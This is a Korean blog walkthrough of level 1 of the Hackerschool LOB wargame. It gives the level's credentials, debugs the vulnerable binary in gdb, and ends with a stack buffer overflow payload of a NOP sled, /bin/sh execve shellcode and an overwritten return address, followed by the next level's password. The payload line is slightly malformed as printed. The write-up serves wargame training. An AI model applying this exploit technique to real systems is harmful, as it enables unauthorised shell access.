해커스쿨에서 제공하는 LOB 1번 문제이다
xshell telnet 으로 연결한다
ID:gate
PW:gate
일단 처음에 bash를 bash2로 변경한다
왜냐하면 bash는 \xff 를 NULL로 인식하는 오류가 있다.
[출처] 해커스쿨 LOB Level1 gate -> gremlin 풀이ㅇㅁㅁㅇ|작성자 유뱃
ls로 파일이 뭐가 있는지보자.
gremlin , gremlin.c 파일이 나온다
cat 명령어로 gremlin.c 파일코드를 보자
코드를 해석해보면 버퍼는 256byte고 argc는 2보다 크거나 같아야한다
argv[1]의 값이 버퍼로 가는것을 볼수있다.
cp명령어로 gremlin을 gremli1으로 복사해준다 복사해주는 이유는 원본파일은 권한이 없어서 디버깅이 불가능하기때문이다. ※복사할때 파일명은 상관없지만 파일명길이는 같아야한다.
gdb로 아까복사한 gremli1을 열어준다
b *main 으로 main함수에 브레이크포인트를 걸어준다.
r `python -c 'print "\x90"*100'` 으로 실행시켜준다
x/300x $esp 으로 스택을 본다 (300개)
아까 파이썬으로 넣은 90이 보인다
argv[1]의 주소는 0xbffffc0c 이다
gdb에서 나와준다 나오는 명령어는 q
Buffer Overflow를 하기 위한 준비가 끝낫다.
페이로드는
./gremlin `python -c 'print "\x90"*235+\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f
\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x0c\xfc\xff\xbf"'`
이다.
1번 문제 완료
2번문제 아이디는 gremlin
비밀번호는 hello bof world 이다
'Hacking > LOB(RedHat)' 카테고리의 다른 글
HackerSchool LOB Level 5 (0) | 2015.07.24 |
---|---|
HackerSchool LOB Level4 (0) | 2015.07.24 |
HackerSchool LOB Level3 (0) | 2015.07.24 |
HackerSchool LOB Level 2 (0) | 2015.07.22 |
Buffer Overflow 기초 (0) | 2015.07.16 |